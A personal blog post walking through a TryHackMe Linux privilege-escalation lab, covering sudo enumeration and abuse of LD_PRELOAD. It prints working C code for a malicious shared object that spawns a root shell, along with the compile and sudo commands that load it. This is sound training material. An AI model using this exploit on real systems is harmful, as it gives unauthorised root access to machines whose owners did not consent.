Getting Back in the Groove

Jason Sohl
Full Stack developer, security enthusiast, Flutter developer, pretty much whatever you need me to be

WELL. It's been a while since I've been here. Had a few things come up in life that took me away from spending time on security but I'm slowly getting back on track. Let's see if I can put up some useful information.

I've been curating my twitter to follow a lot of infosec people and I saw many of them posting about tryhackme.com, so I decided to give it a shot - and I love it. HTB is still amazing, don't get me wrong - but I've been having a lot of fun and I think learning a lot in the process of completing rooms over at THM.

While they have many rooms which are standard CTF machines with the only questions being user and root flags, there are a HUGE number of rooms for learning. The questions allow it to be a bit more of an interactive experience. Let's take the new (at the time of writing) room by @TibSec - Linux PrivEsc.

This is a FREE, guided room, so essentially what you get here is a VM that you can connect to, and then you follow the guides/questions to complete the steps and finish the room. This room goes through something like 19 different Linux privilege escalation techniques and shows you how they work. This is a huge help when trying to learn more about pentesting or CTFs. Anyone can run an automated script to find possible vulnerabilities for privesc on a low-priv shell, but this shows you many of the methods behind these tools and how to do it yourself. That's not to knock these tools, like LinPeas, LinEnum, or LSE, I love these tools and they're a huge time saver when you're able to use them, but what happens if you need to be a little quieter? You need to be able to find some of these vulnerabilities yourself. This room is a great resource for learning some of these techniques and I highly recommend it.

Let's take a look at one of these methods a little deeper - Sudo Environment Variables:
Generally, one of the things you do when you get a low privilege shell (getting a reverse shell from a user with lower privileges) is to see what kind of power they have. A good portion of the time, in CTF's we're getting a foothold from a web service, and inevitibly end up with a shell owned by www-data, in the case of this room, we're given credentials to the user account. Checking your user's groups is a good first step:
$ groups

user cdrom floppy audio dip video plugdev
Nothing very helpful here...

Sometimes we'll get lucky and see that we belong to a group with some significant privileges. If we notice any groups out of the ordinary, we can check to see what files are on the server that belong to that group:
$ find / -type f -group groupname 2>/dev/null

This will give us a list of files on the server that belong to the group groupname - the 2>/dev/null portions just directs any errors to a null device - essentially a linux black hole. This is useful because as a low priv user, you'll get a low of errors generated from this command checking files you don't have permission to access. Generally, we might want to use the -user flag to specify our username, or the -perm flag with the param 4000 as well to see if there are any odd files that we own or find and SUID files, but that's not what we're focusing on today. Since we don't see any useful groups here, let's move on!

$ sudo -l will give us the applications the user can run as sudo

Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD: /usr/bin/find
    (root) NOPASSWD: /usr/bin/nano
    (root) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /usr/bin/man
    (root) NOPASSWD: /usr/bin/awk
    (root) NOPASSWD: /usr/bin/less
    (root) NOPASSWD: /usr/bin/ftp
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/sbin/apache2
    (root) NOPASSWD: /bin/more

Notice that we have a ton of files here we can run as sudo without any password needed. Normally, we would check something like GTFOBins to see if we can use any of these to get privesc, but if you want to know more about that, take a look at @TibSec's room.

What we're looking at here, is something I didn't know about - Sudo Environment Variables - this first line, shows us some interesting things:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

env_keep signifies which environment variables are inherited from our user. LD_PRELOAD and LD_LIBRARY_PATH.

Looking at LD_PRELOAD, this is the environment variable that allows us to preload a shared object (basically the linux equivalent to a Windows DLL) into an application. Combine this with our ability to use sudo in this case and we can essentially inject a shared object, running as root to execute the code that we want. In this case, we're using it to spawn a root shell on the machine.

It's been quite a few years since I've written any C (college was a long time ago) but let's take a look at what we have:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

This can be saved as preload.c - let's break it down -
The include lines are just including some standard libraries for C functions, our void init function is what runs when our program is initialized. First, we're unsetting the LD_PRELOAD environment variable, secondly, we're using setresuid to set the real, effective and su id's - in this case we're setting them to 0 which is the root ID, which we can only do because we'll be running this as a sudo command. Lastly, we're calling a system command to spawn a bash shell, which will spawn as root because we're going to use sudo to run this program and set the id as root.

Next, we compile the program:

$ gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

Again, not a C pro here, but what this does is compiles our C code into a Shared Object or a compiled library file and places the resulting SO file into the /tmp directory.

Now, all we have to do is combine the pieces by running a sudo command where we set the LD_PRELOAD variable and run a program that we have sudo rights to and voila, we've got a root shell!

$ sudo LD_PRELOAD=/tmp/preload.so /usr/bin/nano

This was a really enjoyable room, with tons of information. This privesc method we went over here is one of the easier ones, but the guidance of the room makes it look easy. I highly recommend anyone interested in learning more about linux privilege escalation gives it a shot.

Jason Sohl
Full Stack developer, security enthusiast, Flutter developer, pretty much whatever you need me to be